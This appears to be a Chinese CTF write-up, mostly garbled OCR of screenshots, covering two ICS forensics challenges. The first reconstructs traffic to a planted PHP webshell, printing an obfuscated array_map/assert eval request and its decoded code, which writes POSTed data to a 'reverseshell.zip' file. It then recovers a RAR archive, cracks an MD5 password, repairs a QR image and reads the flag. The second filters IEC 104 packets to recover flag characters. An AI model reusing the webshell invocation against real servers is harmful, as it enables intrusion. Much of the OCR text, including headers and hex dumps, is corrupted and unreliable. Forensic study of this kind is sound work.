<pre>setEllD2TVSTPMSTreadEllD2TVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTPMSTreadEllD2TVSTDVSTDVSTDVSTDVSTDVSTDVSTDVSTDVSTDVST</pre>	\$vv('06]uu/92780nTeRor38sVX147X1vh	11:11:0000:12:0000:12:000:00(1) 00 . 30	0 . 4_0EC . ODE(\) ;#PY . #1(\) KTto71NDSERPAVSUBIPT(weNS451 (AnX)+&r2V8X21h721(X1E1h3R1r19vd#S8ub(1)KDAn03877bBinhve1
<pre>plu/pro/pair/skitzPigics/mst/shifts/lip/lip/shifts</pre>	WEBZI1k7JEY9J0M6XFxwaH8TdHWkeVxcVI	dXXFx1cGxvYWRzXFxyZXZ1cnN1c2h1bGwue	<pre>mlwJztmdw5jd6lvbi8kZigkcC17J609Q6RocigkcCk7d2hob6UoQCRwPSRtLT5yZWFkKCkpeyRwZj0kcC41L</pre>
Bull X17006650EDP2vc 20x5CTu072eb320H4uPD_1Nev2 AWRHCOLT[PseMEcjEgicCC7Pd1aWC1zPC1gicEjigHisp2DNov2Y72BH6uphmadecLX2V4ADDBcygidEiEXDFQMvG61 Dute: Sum, 0 3 Jun 2018 10:11:55 GHt Server: Apecked, 4.2.1 (Minisp2 OpenSSi/1.0.2) PMP/5.4.45 Content-Length: 158 Content-Length: 158 Content-Length: 159 Content-Length: 159 Content-Length: 159 Cather Server: Apecked Server: Appcheck 2000 PMP/5.4.45 Content-Length: 159 Content-Length: 159 Cather Server: Appcheck 2000 PMP/5.4.45 Content-Length: 159 Content-Length: 159 Cather Server: Appcheck 2000 PMP/5.4.45 Content-Length: 159 Content-Length: 159 Cather Server: Appcheck 2000 PMP/5.4.45 Content-Length: 159 Cather Server: Appcheck 2000 PMP/5.4.45 Content-Length: 159 Cather Server: Appcheck 2000 PMP/5.4.45 Content-Length: 159 Cather Server: Appcheck 2000 PMP/5.4.45 Content-Length: 250 Cather Server: Appcheck 2000 PMP/5.4.45 Content-Length: 250 Cather Server: Appcheck 2000 PMP/5.4.45 Content-Length: 250 Cather Server: Appcheck 2000 PMP/5.4.45 Content-Length: 250 Cather Server: Appcheck 2000 Cather Server: Appcheck 2000 Cather Server: Appcheck 2000 PMP/5.4.45 Content-Length: 250 Cather Control: no-cache ExclusionContent 2000 Cather Server: Appcheck 2000 Cather Server: Appcheck 2000 Cather Control: No-cache ExclusionContent 2000 Cather Server: Appcheck 2000 Cather Server: Appcheck 2000 Cather Server: Appcheck 2000 Cather Control: No-cache ExclusionContent 2000 Cather Control: No-Cache Exclusion	yIu3GY7aWYoKG1zX2RpcigkcGYpKSYmKCR	ImIT01L11p31YoJGYhP5IuL11pKXtAY2htb2	Qo3HBmLDA3Nzcp02RmKCRu21k7FW1mKG1zX22pbGUo3HBmK517QGNobM9kKCRu21uuAlizc3KTtAdM5saM5rKC
augeRik2FifeDiLigioNCT_00072MebgLikeE211x720LIKCF"));(');');');HTP/1.1 200 OK Date: Sum, GD and DiB BitTisS Gott Server: Apuche/2.4.21 (Min2) OpenSSL/1.0.2] PMP/S.4.45 K-Paered-By: PMP/S.4.45 Content-Length: 158 Content-Length: 158 Content-Length: 158 Content-Length: 158 Content-Length: 159 Description: Content-Length: 158 Content-Length: 159 Description: Content-Length: 159 Content-Length: 159 Content-Length: 159 Description: Content-Length: 159 Content-Length: 159 Description: Content-Length: 159 Content-Length: 159 Co	Ru21k7fX8kb58%28Y2xvc2UoKTtAY2htb2	No3HAsMDc3Nyk7cmV0dX3uIEBybMRpcigkc	Ck7fWlmKG1zX2RpcigkRikp2bWobyhkZigkRikp02Vsc2V72bWobyhmaWx1X2V4aX0WcygkRik32FQHVubG1
Date: Sum, 09 Jun 2008 10:11:56 Off Server: Appl. 21.21 (10:12) OpenSS./1.0.21 PHP/S.4.45 Schemet By: PhP/S.4.45 Content-Type: text/mini Op/ /a ObjEctor/Do: Use of undefined constant cedceded - assumed 'cedcedced' in cbxC:\phpStudy\MM\uploads\security.php//b> on line cbx1	waygkRik%2FIjEi0iIwIjoiMCIp03072WM	<pre>iobygiWEBZIik72GliKCk7'));\");"));HT</pre>	TP/1.1 280 OK
Server: equice/Lat.21 (Mill2) (peros/Lat.21 (Mill2) (peros/Lat.24) (Mill2)	Date: Sun, 03 Jun 2018 10:11:56 GM		
Content-Length: 159 Content-Length: 159 Content-Lype: text/html Content-Lype: text/html Cont	Server: Apache/2.4.23 (Win32) Open V. Downrod, But 1949/5 4 45	ISSL/1.0.2] PHP/S.4.45	
Content-Type: text/html chr /p content-Type: contlors.score.form-unlenceded cmccoded = assumed 'redcadced' in cbbC:\phpStudy\WM(uploads\security.php/b) on line cbbl cbbClcccbb: Use of undefined constant cmccmdomd - assumed 'redcadced' in cbbC:\phpStudy\WM(uploads\security.php/b) on line cbbl cbbClcccbb: Use of undefined constant cmccmdomd - assumed 'redcadced' in cbbC:\phpStudy\WM(uploads\security.php/b) on line cbbl cbbClccbb: Use of undefined constant cmccmdomd - assumed 'redcadced' in cbbC:\phpStudy\WM(uploads\security.php/b) on line cbbl cbbClccbb: Use of undefined constant cmccmdomd - assumed 'redcadced' in cbbC:\phpStudy\WM(uploads\security.php/b) on line cbbl cbbClcbb: Use of undefined constant cmccmdomd - assumed 'redcadced' in cbbC:\phpStudy\WM(uploads\security.php/b) on line cbbl cbbClcbb: Use of undefined constant cmccmdomd - assumed 'redcadced' in cbbC:\phpStudy\WM(uploads\security.php/b) on line cbbl cbbClcbb: Use of undefined constant cmccmdomd - assumed 'redcadced' in cbbC:\phpStudy\WM(uploads\security.php/b) on line cbbl content-tage: inpl.(intl::w-cdbb) Cachecontrol::w-cdbb Cachecontrol::w-cdbb Cachecontrol::w-cdbb Cachecontrol::w-cdbb Cachecontrol::w-cdbbb/Cachecontrol::w-cdbbb/Cachecontrol::w-cdbbbb/Cachecontrol::w-cdbbbb/Cachecontrol::w-cdbbbb/Cachecontrol::w-cdbbbb/Cachecontrol::w-cdbbbb/Cachecontrol::w-cdbbbb/Cachecontrol::w-cdbbbb/Cachecontrol::w-cdbbbb/Cachecontrol::w-cdbbbb/Cachecontrol::w-cdbbbbb/Cachecontrol::w-cdbbbbb/Cachecontrol::w-cdbbbb/Cachecontrol::w-cdbbbbb/Cachecontrol::w-cdbbbbb/Cachecontrol::w-cdbbbbbb/Cachecontrol::w-cdbbbbb/Cachecontrol::w-cdbbbbb/Cachecontrol::w-cdbbbbbb/Cachecontrol::w-cdbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb	Content-Length: 158		
Cbr /> Child Text Cord Constant condended - assumed 'condended' in cbx2:phpStudy/MM/uploads/security.php Ubst-file Status Ub	Content-Type: text/html		
<pre>dbr /s biblioticc(b): Use of undefined constant cedcedced - assumed 'cedcedced' in dbcCigboStudyUMM(uploads)security.php/bb on line db3(/bb/br /s) biblioticc(b): Use of undefined constant cedcedced - assumed 'cedcedced' in dbcCigboStudyUMM(uploads)security.php/bb on line db3(/bb/br /s) biblioticc(b): Use of undefined constant cedcedced - assumed 'cedcedced' in dbCCigboStudyUMM(uploads)security.php/bb on line db3(/bb/br /s) biblioticc(b): Use of undefined constant cedcedced - assumed 'cedcedced' in dbCCigboStudyUMM(uploads)security.php/bb on line db3(/bb/br /s) biblioticc(b): Use of undefined constant cedcedced - assumed 'cedcedced' in dbCCigboStudyUMM(uploads)security.php/bb on line db3(/bb/br /s) constant cedcedced - assumed 'cedcedced' in dbCCigboStudyUMM(uploads)security.php/bb on line db3(/bb/br /s) Constant cedcedced - assumed 'cedcedcedcedcedcedcedcedcedcedcedcedcedc</pre>			
Condition(1): Johands (security, php HTTP:11. Uptor Agent: Norlling): Johands (security): Johands (s	 		
with any final field in the field in th	Abstraction of the second s	ionstant cmdcmdcmd - assumed 'cmdcmd	cmd' in C:\phpStudy\WWW\uploads\security.php on line 1 cm />
Content - Type: application/s-waw-few-wellencoded #efrere: http://jac.ide.jp.ab/ #efrere: http://jac.ide.jp.ab/ #st: 1391 Cather Control: - each #content-i-each #content-i-ea	User-Agent: Mozilla/5.0 (compatibl	e: Raidusnider/2.8: ahttn://www.hai	du.com/search/solider.html)
Beferer: http://192.164.179.265 Dost: 39.164.179.265 Dost: 39.164.179.265 Content-Lengt: 35.93 Cache-Control: n-cache Acche-Control: North 20.169.179.265 Dost: 39.161.179.265 Content-Lengt: 35.93 Cache-Control: North 20.169.179.265 Before: 39.161.111.100.1112.000.1127.010.1112.000.1127.000.1112.	Content-Type: application/x-www-fo	rm-urlencoded	and compared on a particular product of the
Host: 192, 168, 179, 265 Content-Length: 3519 Cache-Control: - control: - contro: - contro: - contro: - contro: - control: - control	Referer: http://192.168.179.245		
Content-Length: 3539 Cache-Control, no-cache Kedicadicadi-array_map("ass"."ert", array("er", "Al(\"\\\$xxX3D\\\"Ba", "SEG", "4_dEC", "OE(\\";@er", "al(\\\ Soci, "Galawd: ZuRolade; 38:YXL47Dy:bl3LtaUX[Tp0Re122466];ZVP+aidp264[Tp2LingX5F47VXS00[Tp1]endS124];SUC4220021h221;SUF1b3R1:19ydd5Bwl1100Ap03072Ablobyg1 bx:LintLinuxYyr27D212[0];Tp0D102695bwl12002000000000000000000000000000000000	Host: 192.168.179.245		
Cache-Control: no-cable Reconcedurations Re	Content-Length: 3519		
<pre>standardsmisery gap("est", "ert", art", "art", "art,", "art</pre>	Cache-Control: no-cache		
Soci Collawide:2000/Line:	&cmdcmdcmd-array map("ass","ert",a	erray("ev","A1(\"\\\\$xxx\$30\\\\"8a","5	E6", "4 dEc", "OdE\\\";@ev", "al(\\\
HERTING TOPS (PMGF and HET R/M Verk (LGK) (LGK) (MRLXF Y) 2021 (All (2h)) (Add (PMG) (MRLXF	\$xxx("QG1uaV9zZXQoImRpc3BsYX1fZXJyb	3JzIiwiMCIp008zZXRFdG1tZV9saWipdCgo	KTtpZIhQSF84VkVSU01PTjwnNS4zLjAnKXtAc2V0X21hZ21jX3F1b3R1c19ydwS8wW11K0Ap0307ZMIobyg1
1xx11114xYyY775012(01)1mb0106/3095ka1x201528/02/00/py/fkt/by/S5140/02/92/56257825gm/55cc 29/12/89/K5(1)12/80102/87/2014559623866626639335236656238696768767 1x52572425945386459784552114772015475485959 1x525724459745474945388674877486959849748749459738000000000000000000000000000000000000	WEBZI1k73GY930M6XFxwaHBTdHVkeVxcV1	dXXFx1cGnvYWRzXFxyZXZ1cnN1c2h1bGwue	mlwJzskYz0kX18PU1RbInox11073GM9c3RyX331cGxhY2UoI1xyIiwiIiwkYyk73GM9c3RyX331cGxhY2UoI
wint Terres-0.52xx1157/2006/07/012000000000000000000000000000000000	lxuIiwiIiwkYyk73G31Zj0iIjtmb3Io3Gk	GMDskaTxzdHJsZW4oJGMpOyRpKz0yKSR1dW	YuPXVybGR1Y29kZSgn7Scuc3Vic3RyKCRjLCRpLDIpKTt1Y2hvKEBmd33pdGUoZm9wZbMo3GYs33cnKSwkYn
(1) (VmKT8nPfSc6JzAnKTs72WNobyg1NE8Z11k7	2G11K(k7'));	
15/15/15/2015/6455488010/15/0015/0015/0015/0015/0015/0015/0	('); ');&z1=526172211A0700CF907500 \$653365346161306363316338633573656	10000000000000000000000000000000000000	1000037940000028406C800185351511033240020000000535523665626300931623764626223 43354930355536347751874333571075906887975304580096455848039708651043749874430503544759
AF401CXC4274810482813941948431XC12pte6cC48DE148297F47784498131CX2549727485CC8E7C787A45439800931457540194854578655461792244438181D158484089 S55455050 E196551F14A0889805402002AT0867818885718031534520485147578120441989314357204287457851787244451862475037845784517022444518162145134840289 FD095C27117C8F9100A48119454518059114675180578497479884977800104975497485078617451004991145720420475729278757851184185475029485478511451194524840007016279347445411164224451851924451451194091144574044478457429485178011428819191 44554400A376844512900571675151555(2981207861120757420544119859795011445159192422748355684279910449419451549521229899158184000701627913148819191 44554400A3768445129005716751051008398515900079447054511898199104451470551452451453119452474831945194522278991585844000716210234284 44554400A37684451200057161518565284097057079794200441198779851144512945795212289991585844400071621023481295458513931845 44554400437648451200057161518565854563044311465140321829799103455745237845144511945247881574881373811574885174881574888157488815748881574888157488157488815748881574888157488815748881574888157488815748881574888878488484884	E3EC31C92156485498801C938481678813	C F96 3068888ED870C 211004FF 3788C 239928	CECRED575487398F53687754335F145C97606C979206C979206C979204C96070070496C96079978487939756575487398F535687997543564875894593356487589459355555523864875894593355555523864875894593355555523864875894593355555523864875894593355555523864875894593355555523864875894593355555523864875894593355555523864875894593555555238648758945935555552386487589459355555552386487589459355535656575523864875894593555355
15556500E18965CF1FA0408984020AC7067EE88E7518531897289997E88997E88997E80400E275960L228210069831427042007AFC28973FE71803048C21FC18040A547E484XA7C1979E 1556500E21875162189100A4812800501805518005180510051001CF145664C20080648121055105076939788077C28490400077010422480500857700771043188813190 AFF990C2CC2FF619810A48129007E678052185416451251707080054931348175900 7142080755900E668867548121250750218144512310058185450904057515357502045198431507314077104318428147447848144441114914444709867334813420144784484 97760096477457846120000277079710831885164000473130771042281704428170428174428170484114915444512100001771431040004711491931400000 7142080755900E668867348112200083819150000709740710438819400 7142080755900E66887348127007027420381846400007097407005381545400047311377142428170428170428174428170484114919314970447819995518431807314977448281704847844811270701177193310000711771933000071177193310000711771933100007117719331000071177193300007117719331000071177193300007117719330000711771933000071171933000071171933000071177193300007117193300007111040000000711101011000000000000	AF4D3C9C82F48105828150F19846817CC1	20E66C84EDEE4E897EFAF78494831CDC530	7727485CCBEC7387A4F344398801897A419878819A58FE68C85C786F5FE41702294EA8101ED16A8A1088
F000PC22173C08F691200A482108A569110055118603108CFH56804C08064F81020519C04F8761200497504708807820784754111F6224745151411F62247615105048783131815568 #1000PC221737C08F69120048210804C0807518603108CFH56804C08064F81025019C248950780278078087807847544411F62247451501205780177908131898131910 #45964CCCEPC645014097561709765191050785110005784500467595011462104875903910278908780754071577301308831910 #455440047768462E0004257200071677301308851566204473108127808157598137740131308057861737374021349831391055545737374023441973103057545737374730430494751451545742274831535545473731422748195153057547737374730430497829781038131910 #554200476580476962087647815478758047820478139911047209815951144712899785154574237289978598514464211055554857373343020CFF789378429784131555545733737422741158554574237829781313555457457373433020CFF789378429784131575452747331374227411387422748131575485173734317742274113874227481316724297813554574537398074577398074577398377889574829784831355548473734247418314024298489841144471447318007464731400748487448448444444444444444444444444	155E658D6E389E5CF1FA8A98894D928AC7	067E8E88E7F183518F93209507E8890F708	AD082E7F9E01C238218D6983142F2D42DFAFCE29873FF3CF103D4384C21FCD16704A6F4E40C3A7C3DF9E
44F3964CCCCFF6438L4971CF77855C981L20198C18466755548405C7373/0780033440F53802782C224601A230552C2480504827559955184273705428594859274007877081138831310 574A0ADATASACCERCENCESTORE #15476551812453120980139911797147199003491141247484214441548451273199155184287741784428948574007877081138831310 574A0ADATASACCERCENCESTORE #15476518114531353846876900549113107714232580274624214441548451273199155184287741784428948428444147370271791311202703191442314842844444444444444444444444444444	FD009C27E37C88F89100AA8E308A560318	005F186D338ECF845684CAD868AF81D2583	FDC68F876100A9F95A970E807DC25AE9AA341EE768FC280248751413F62C24F3613C6A589938318E5680
d>::adapta/biolect.toxec::z/noris/sd=tec/it.cati::r/sociation/s/yout::r/sociation/system/tec/it.cati::r/sociati::r/sociat	44F8960CECCFF663814097EF0F70E5CE98	/120E9BC10E0C67CB540E0CF373678940834	A0FF585D728CCE2A6D3C42045C9C6888C7C909E484D80073DEA22488C80805C7AD0787F083183883191D
LINDYCOURSE CARGONIC	4F 5F AMADEA 768A8CED80C8277D8F84F8E6	771ECA511700610084375981878088A5F961	1ABC EDAFF BC 7F 97A2A8 59A812AE 5558BA5A826519C54 98CDC8E866957A616CD765C991554FE8891AD84D
99789994376443727276251534069925182452984899867334572994598151757547358805257439464315578411991931949981811093119974449098657345799000752 508790548815638707975578171856469388751644921255870105053209310049657766516283479185221993374665788572881728870007526600057192077442387880528273735234 041117189781454154714747474841184057311719401054141194827334745655665284791872219937416657885728817288700075266000571920744287881223735234 0411171897814611978474118411984493487 0411171897141198114411981441198141199114411981421934744428419817411981118411981441198144119814411981441198144	142006073C3999002660023W6221200660 3R978/0R97687948FE060988/536052381	139EF 3000070274C03043F 3001FFEF #07583	EF / 94/20E3 / 9402/1F 94/71304/35F 21 / 20737E31041305 / 340E2 / A3 / 04462070E02/ML3/ 94/22/FL30303004/ 078/103653E455E45368(*1980438509791937760071E77194330/0FEE7883781DE78239983858/1048739/
SOB TOCKNER IS A TERPOTYTY CYCLE I BE PARAMADER BY SELAURATIC IS FOR DIAL ACTIVITY OF THE SECAND AND THE SECAND	9978699694264A817270CEF1624D6892CF	18E83F2538648F080F62ACF59946981F3E7	FFE4735880CEFA93064031578A18AFC1439F93105098181E00411699E448F0098667A367E02082D04268
	508790CA883E63E87D975CF01F18F86A69	A98E8876164A9212CE8FD01D8632D991884	96E7F68636E283479103C21093870A1679883F288FD00CFE26600AC1F920074AE20FBA55CEA623735A2A
RANK (S M) NOT THE REPORT OF T	AA371780 TROE EDAG 171887 AE 37 ADE 30057	031/330A4EEEEAA86/3E3E1061AE3A8E637	AATEAEAE38AEEAF700371E011E07E0088E7EE1F0AEE8EAEAE8AEEDEE3EAF0E103F0EEEE31A378A1A38F
niips://blog.osdn.nei//b/g	THE IN A ROOM DR. A REAL PR. A MANDAL AREA		
	MITCHA (V MI)	×	
	Rit:		The state of the s

2、通过base64解密可知算法如下,post参数z1传参:

@ini_set("display_errors","0"); @set_time_limit(0); if(PHP_VERSION<'5.3.0') {@set_magic_quotes_runtime(0);}; echo("X@Y"); \$f='C:\phpStudy\\WWW\\uploads\\reverseshell.zip'; \$c=\$_POST["z1"]; \$c=str_replace("\r","",\$c); \$c=str_replace("\n","",\$c); \$buf=""; for(\$i=0;\$i<strlen(\$c);\$i+=2) \$buf.=urldecode('%'.substr(\$c,\$i,2)); echo(@fwrite(fopen(\$f,'w'),\$buf)?'1':'0');; echo("X@Y"); die();

3、定位z1所在的流量包,发现为第22个流量包

	20 0.011272937	174,100,1/7,490	174,100,1/7,493	ILP.	0/3 3000/ 4 00 (FSR, ALA) 300=330
	21.0.011292465	192, 168, 179, 245	192.168.179.246	TCP	54.80 a 50007 [ACK] Seg=1030 Ack
	22.0.011203421	102 168 170 246	102 168 170 245	TCP	A2101 50007 + 80 [A(K] 500=4207 Ack
	22 0.011299421	102 100 179 240	102 100 170 245	Ter	(1) 50007 + 00 [ACK] Jeg-1207 ACK
	23 0.011293422	192.108.179.240	192.108.179.245	TCP	042 20007 + 80 [PSH, ACK] 500=200
	24 0.011293485	192.168.179.245	192.168.179.246	TCP	54 80 → 50007 [ACK] Seq=1030 Ack
+	25 0.011293778	192.168.179.246	192.168.179.245	HTTP	906 POST /uploads/security.php HT
	26 0.011312370	192.168.179.245	192.168.179.246	HTTP	397 HTTP/1.1 200 OK (text/html)
	27 0.011313398	192.168.179.246	192.168.179.245	TCP	60 50007 → 80 [ACK] Seq=7107 Ack
<					
>>	Urgent pointer: 0 [SEQ/ACK analysis [Timestamps] TCP payload (1460 [Reassembled PDU TCP segment data] bytes) in frame: 25] (1460 bytes)			
0030	03 fb 99 7f 00	00 35 32 36 31 37	32 32 31 31 41	••52 6172211A	
0040	30 37 30 30 43	46 39 30 37 33 30	30 30 30 30 44 0700	CF90 73000000	
0050	30 30 30 30 30		30 30 30 46 41 0000	0000 00000FA	
0060	38 32 37 34 32		30 45 30 35 31 8274	2494 5100E051	
0070	30 30 30 30 33		30 30 32 38 34 0000	3954 00000284	
0080	44 36 43 42 42	30 45 38 42 33 35	31 35 31 31 44 D6C8	B0E8 B351511D	
0090	33 33 32 34 30		30 30 30 36 33 3324	0020 00000063	
00.00	33 35 33 32 33		38 36 36 36 32 3532	3665 62386662	
eebe	36 36 33 30 33		37 36 34 36 32 6630	3931 62376462	
0000	36 32 33 35 36		34 36 31 36 31 6235	6533 65346161	
0.0.40	22 20 20 22 22		20 20 22 22 10 10	CARE CARDERAGE	

4、将流量包数据复制到HxD,保存为rar文件。

◎ HxD - [无标	(题5]																
主文件(F) 编	辑(E)	搜	素(S)) 査	看(V) 分	祈(4	() Pr	助口の	K) 1		W)	关于	(A)			
🗋 👌 • 🔛 🛛		Ľ	+	• 1	6	~	A	NSI		1		 大i	土制	~			
无标题5																	
Offset (h)																	
00000000	52	61	72	21	1A	07	00	CF	90	73	00	00	OD	00	00	00	Rar!
00000010	00	00	00	00	FA	82	74	24	94	51	00	EO	51	00	00	39	ú,t\$"Q.àQ9
00000020	54	00	00	02	84	D6	CB	BO	E8	B 3	51	51	1D	33	24	00	T"Ö˰è°QQ.3\$.
0000030	20	00	00	00	63	35	32	36	65	62	38	66	62	66	30	39	c526eb8fbf09
00000040	31	62	37	64	62	62	35	65	33	65	34	61	61	30	62	62	1b7dbb5e3e4aa0bb
00000050	31	63	38	62	2E	70	6E	67	6C	3D	97	6D	AD	58	23	32	lc8b.pngl=_m.X#2
00000060	00	BO	79	F8	OB	10	8C	81	F7	43	3E	49	2B	76	63	03	.°yø@.+C>I+vc.
00000070	4C	CF	18	74	37	35	71	DC	F9	96	BO	C9	75	2D	4E	BD	LI.t75qÜù-°Éu-NHS
00000080	D9	AE	E8	AB	D2	BC	DO	06	1D	A7	C4	90	C1	A2	D5	92	Ù®è«Ô4€§Ä.Á¢Õ'
00000090	64	AC	F9	F3	FC	31	C9	21	56	40	5A	98	SD	1C	93	04	d-ùóù1É!V@Z~
000000A0	B1	67	OB	13	CE	96	30	6B	BS	FD	87	oc	21	10	04	EE	ig1-0k.yt.!1

5、解压缩需要密码

俞入密码		×
c526	输入已加密文件的密码 eb8fbf091b7dbb5e3e4aa0 在压缩文件 1.rar	马 bb1c8b.png
输入密码(E)		
		~
☑ 显示密码((S)	
用于所有。	玉缩文件(A)	
	管理密码(0)	
and the second sec	The Mir	the etc.

6、可以看到压缩包里面的文件名为c526eb8fbf091b7dbb5e3e4aa0bb1c8b.png

猜测是MD5通过在线解密得到明文ics2020

	密文: c526eb8 类型: 自动	fbf091b7dbb5e3e4a	a0bb1c8b	✔ [帮助]	
		查询	加密		
查询结果: ics2020					

7、获得口令解压得到一张图片,发现是二维码,但是只有部分。



8、放入010编辑器,修改图片高度257为500,修复图片到二维码图片。

0180h: 0190h:	18 2 58 0			60 06	31 16	0C 2C	93 1 86 6	.8 58 51 12				49 C3		2C 89	.61°`1.".X°.†I., X.Ã\$,†aÃ0‰
01A0h:	81 0													18	< a~ĂÀ, ÅOLb`Áb.
01B0n:	26 3	1 58	08	70	10	4C	AB E	10 48	BA	SC	52	15	81	EG	&le.).L«aH°\Ru
Template	Result	ts - p	ong. b	t											
	Name				V	alu	e	St	art	1	Size		Co	lor	Connent
> struct	PNG_S	IGNATI	JRE .									1	Fg:	Bg:	
✓ struct.	PNG_CI	HUNK ·	chun*	· IH	DR	(Cr	iti…	8h		191		1	Fg:	Bg:	
uint	32 len	eth		13				Rh					P		
		2 M								20.0			r 8 :	Dg;	
> uni or	1 CTYPI	i type	e:	ÎH	DR			Ch		4h		1	Fg:	Bg:	
> union > strue	t CTYPI	type CHUNE	e K_IH…	· 40	IDR 10 x	257	(x8)	Ch 10h		4h Dh		1	Fg: Fg: Fg:	Bg: Bg:	
> unios > struc	n CTYP t PNG	E typ CHUNE	e K_IH·	· 40	DR IOX	257	(x8)	Ch 10h		4h Dh 4h			rg: Fg: Fg: Fg:	Bg: Bg: Bg: Bg:	
> union ~ strue uir	n CTYP ot PNG 1122 -	E typ CHUNN dth	e K_IH·	· 40 40 25	DR 10 x 10	257	(x8)	Ch 10h 10h	74	4h Dh 4h 4h			Fg: Fg: Fg: Fg:	Bg: Bg: Bg: Bg: Bg:	
> uni o > strue uir uir uby	n CTYP ot PNG 1t32 h (te bi)	E typ CHUNI dth ight	e K_IH•	40 40 25 8	, IDR 10 x 10 17	257	(x8)	Ch 10h 10h 14h 18h	.	4h Dh 4h 4h 1h			Fg: Fg: Fg: Fg:	Bg: Bg: Bg: Bg: Bg: Bg:	og osda pet//020212



9、扫码得到flag



flag: flag{Jxciit_ICS_zip_zip}

address

1、前置知识。

104字段基本内容



帧格式

l:0

S:01

U:11

操作对象: Typeld

公共地址: Addr

信息体地址: IOA

2、打开流量文件,筛选104协议的流量包

104 文4年(F	Lpcapng () 編編(E) 祝聞(V) 】	10.96(G) 140元(C) 分析(A)	et(S) 电话(M) 无机(W) I	展田 整約(10)		
4 H	201 X	Q + + = = + !				
Lect	50870_104					
Io.	Time	Source	Destination	Protocol	Length	Info
-	20 22.278717	172.16.95.140	172.16.95.131	IEC 60870-5-104		60 <- U (STARTDT act)
	21 22.279110	172.16.95.131	172.16.95.140	IEC 60870-5-104		60 -> U (STARTDT con)
	27 43.251764	172.16.95.131	172.16.95.140	IEC 60870-5-104		60 -> U (TESTFR act)
	28 43.261144	172.16.95.140	172.16.95.131	IEC 60870-5-104		60 <- U (TESTFR con)
	32 49.325422	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU		70 <- I (0,0) ASDU=0 C_SC_NA
	33 49.326844	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU		70 -> I (0,1) ASDU=0 C_SC_NA
	35 49.486202	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU		70 <- I (1,1) ASDU=0 C_SC_NA
	36 49.487443	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU		70 -> I (1,2) ASDU=0 C_SC_NA_
> Fri > Eti > Ini	ame 20: 60 bytes hernet II, Src: ternet Protocol	on wire (480 bits), VMware_62:dc:a8 (00 Version 4, Src: 172	, 60 bytes captured (4 :0c:29:62:dc:a8), Dst: .16.95.140, Dst: 172.	180 bits) on interface 180 Wware_59:f3:18 (00:0 16.95.131	vmnet8, id c:29:59:f3:	0 18)
10	ansmission Contr	of Protocol, Src Por	rt: 30256, Dst Port: .	(404, Seq: 1, ACK: 1, L	en: 6	
. IE	C 60870-5-104: < START	- U (STARIDI act)				
	ApduLen: 4					
	0000 01 = UTyp	e: U (0x03) pe: STARTDT act (0x0	1)			

3、浏览数据包,发现ASDU存在多种值,其中ASDU=0最多。ASDU即是Addr的值。

复制addr字段iec60870_asdu.addr,对addr进行筛选。

iec60870_asdu.addr==0

and the state of t				
c60870_asdu. addr==0				
1180	Source	Destination	Protocol	Length
32 49.325422	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	
33 49.326844	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU	
35 49.486202	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	
36 49.487443	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU	
38 49.633239	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	
39 49.639284	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU	
41 49.783659	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	
42 49,784995	172,16,95,131	172,16,95,140	IEC 60870-5 ASDU	
EC 60870-5-101/10 TypeId: C_SC_NA 0 = SQ: .000 0001 = Numl .00 0110 = Caus .0 = Neg 0 = Test 0A: 0	4 ASDU: ASDU=0 C_SC 1 (45) False [x: 1 seTx: Act (6) stive: False t: False	NA_1 Act IOA=0 '	single command'	
Addr: 0				1/19203
IOA: 0				

发现流量包比较多,大致浏览未发现有效信息。

4、接着筛选iec60870_asdu.addr!=0,发现剩余的都是(ASDU=4)iec60870_asdu.addr==4的流量包。总共只 有30个流量包。

Time	Source	Destination	Protocol	Length	Info
387 97.945928	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU		70 <- I (93,93) ASDU=4 C
388 97.947389	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU		70 -> I (93,94) ASDU=4 C
654 158.114423	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU		70 <- I (149,149) ASDU=4
655 158.115937	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU		70 -> I (149,150) ASDU=4
666 164.381893	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU		70 <- I (150,150) ASDU=4
667 164.383366	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU		70 -> I (150,151) ASDU=4
966 225.740367	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU		70 <- I (221,221) ASDU=4
967 225.741684	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU		70 -> I (221,222) ASDU=4
IEC 60870-5-101/ TypeId: C_SC_N 0 = SQ .000 0001 = Nu 00 0110 = Ca .0 = Ne 0 = Te Ob: 0	04 ASDU: ASDU=4 C_SC A_1 (45) : False mIx: 1 useTx: Act (6) gative: False st: False	NA_1 Act IOA=0's	ingle command'		

浏览数据包,发现act包数据都有一个字符,浏览前四个act包,发现组成起来为flag。

1ec6	0870_asdu.addr1=0				
	Time	Source	Destination	Protocol	Length Info
	387 97.945928	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (93,93) ASDU=4 C_SC_NA
	388 97.947389	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU	70 -> I (93,94) ASDU=4 C_SC_NA
	654 158.114423	172.16.95.140	172.16.95.131	IEC 60870-5 ASDU	70 <- I (149,149) ASDU=4 C_SC_
	655 158.115937	172.16.95.131	172.16.95.140	IEC 60870-5 ASDU	70 -> I (149,150) ASDU=4 C_SC_
